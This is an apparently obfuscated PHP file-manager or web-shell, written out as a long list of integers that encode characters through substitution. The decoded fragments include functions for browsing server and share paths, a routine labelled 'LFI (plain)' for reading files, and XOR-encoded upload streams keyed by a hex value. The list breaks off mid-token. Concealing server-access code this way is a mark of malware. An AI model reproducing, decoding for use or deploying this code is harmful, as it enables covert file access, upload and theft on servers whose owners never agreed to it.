83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 39, 25, 69, 69, 25, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 19, 39, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 78, 85, 85, 25, 6, 25, 29, 73, 90, 77, 81, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 91, 78, 85, 85, 18, 25, 4, 15, 25, 29, 91, 78, 85, 85, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 90, 85, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 72, 125, 82, 87, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 87, 94, 90, 85, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 96, 102, 25, 6, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 83, 90, 86, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 39, 93, 82, 87, 39, 25, 15, 25, 39, 91, 82, 85, 94, 39, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 121, 91, 82, 85, 94, 72, 82, 79, 94, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 121, 91, 82, 85, 94, 86, 77, 82, 86, 94, 17, 29, 87, 94, 90, 85, 18, 25, 4, 15, 25, 9, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 78, 72, 84, 87, 77, 17, 29, 82, 77, 94, 86, 72, 21, 25, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 90, 21, 25, 29, 103, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 26, 6, 6, 25, 29, 103, 96, 39, 77, 66, 73, 94, 39, 102, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 22, 10, 25, 15, 25, 10, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 88, 90, 72, 94, 88, 86, 73, 17, 29, 90, 96, 39, 83, 90, 86, 94, 39, 102, 21, 25, 29, 103, 96, 39, 83, 90, 86, 94, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 20, 29, 24, 28, 21, 25, 29, 73, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 73, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 15, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 93, 87, 82, 75, 94, 25, 6, 25, 29, 86, 96, 10, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 23, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 39, 29, 93, 87, 82, 75, 94, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 39, 20, 29, 72, 94, 92, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 20, 20, 17, 96, 99, 20, 102, 16, 18, 20, 17, 96, 99, 20, 102, 16, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 25, 6, 25, 29, 86, 96, 10, 102, 0, 25, 29, 72, 81, 90, 87, 94, 25, 6, 25, 29, 86, 96, 23, 102, 0, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 8, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 20, 28, 25, 19, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 25, 19, 25, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 20, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 20, 20, 28, 25, 19, 25, 29, 72, 94, 87, 75, 94, 87, 25, 19, 25, 28, 20, 28, 25, 19, 25, 29, 72, 81, 90, 87, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 73, 18, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 17, 29, 73, 90, 87, 77, 72, 96, 9, 102, 25, 4, 4, 25, 28, 28, 18, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 92, 25, 6, 6, 6, 25, 28, 28, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 20, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 29, 93, 90, 77, 90, 21, 25, 82, 83, 77, 25, 29, 88, 84, 93, 94, 25, 6, 25, 23, 9, 9, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 81, 77, 77, 73, 100, 87, 94, 72, 73, 84, 83, 72, 94, 100, 88, 84, 93, 94, 17, 29, 88, 84, 93, 94, 18, 0, 54, 63, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 17, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 15, 25, 90, 73, 73, 85, 82, 88, 90, 77, 82, 84, 83, 20, 95, 72, 84, 83, 0, 25, 88, 81, 90, 87, 72, 94, 77, 6, 110, 109, 123, 22, 1, 28, 18, 0, 54, 63, 25, 25, 25, 25, 94, 88, 81, 84, 25, 95, 72, 84, 83, 100, 94, 83, 88, 84, 93, 94, 17, 29, 93, 90, 77, 90, 18, 0, 54, 63, 25, 25, 25, 25, 94, 65, 82, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 83, 90, 80, 65, 83, 25, 91, 87, 84, 86, 25, 105, 116, 104, 109, 20, 124, 126, 109, 21, 25, 88, 85, 90, 86, 73, 25, 77, 84, 25, 87, 84, 84, 77, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 88, 84, 93, 94, 93, 25, 6, 25, 29, 87, 90, 76, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 17, 72, 77, 87, 82, 83, 92, 18, 29, 87, 90, 76, 18, 25, 15, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 93, 94, 88, 84, 93, 94, 93, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 29, 87, 84, 84, 77, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 72, 84, 85, 75, 94, 93, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 110, 73, 85, 84, 90, 93, 25, 97, 116, 119, 22, 72, 77, 87, 94, 90, 86, 25, 17, 87, 90, 76, 25, 105, 116, 104, 109, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 82, 83, 21, 25, 29, 84, 78, 77, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 82, 83, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 82, 83, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 17, 29, 82, 83, 93, 94, 65, 25, 31, 25, 10, 12, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 17, 29, 82, 83, 93, 94, 65, 25, 16, 25, 23, 18, 25, 31, 25, 73, 82, 17, 18, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 76, 87, 82, 77, 94, 17, 29, 84, 78, 77, 21, 25, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 80, 94, 66, 25, 17, 85, 84, 92, 10, 9, 25, 16, 25, 81, 94, 65, 93, 94, 88, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 82, 83, 77, 25, 29, 82, 18, 15, 25, 82, 83, 77, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 25, 6, 25, 93, 94, 88, 81, 94, 65, 17, 17, 29, 82, 25, 31, 25, 8, 10, 25, 16, 25, 12, 18, 25, 27, 25, 9, 65, 123, 123, 123, 123, 123, 123, 123, 123, 18, 0, 54, 63, 25, 25, 25, 25, 29, 85, 90, 72, 77, 23, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 81, 21, 25, 22, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 81, 65, 25, 6, 25, 81, 94, 65, 93, 94, 88, 17, 29, 85, 90, 72, 77, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 80, 25, 6, 25, 17, 29, 81, 65, 25, 99, 25, 17, 29, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 10, 9, 17, 29, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 80, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 119, 126, 122, 125, 25, 17, 73, 85, 90, 82, 83, 18, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 91, 82, 85, 94, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 91, 82, 85, 94, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 91, 81, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 91, 81, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 19, 6, 25, 29, 88, 81, 78, 83, 80, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 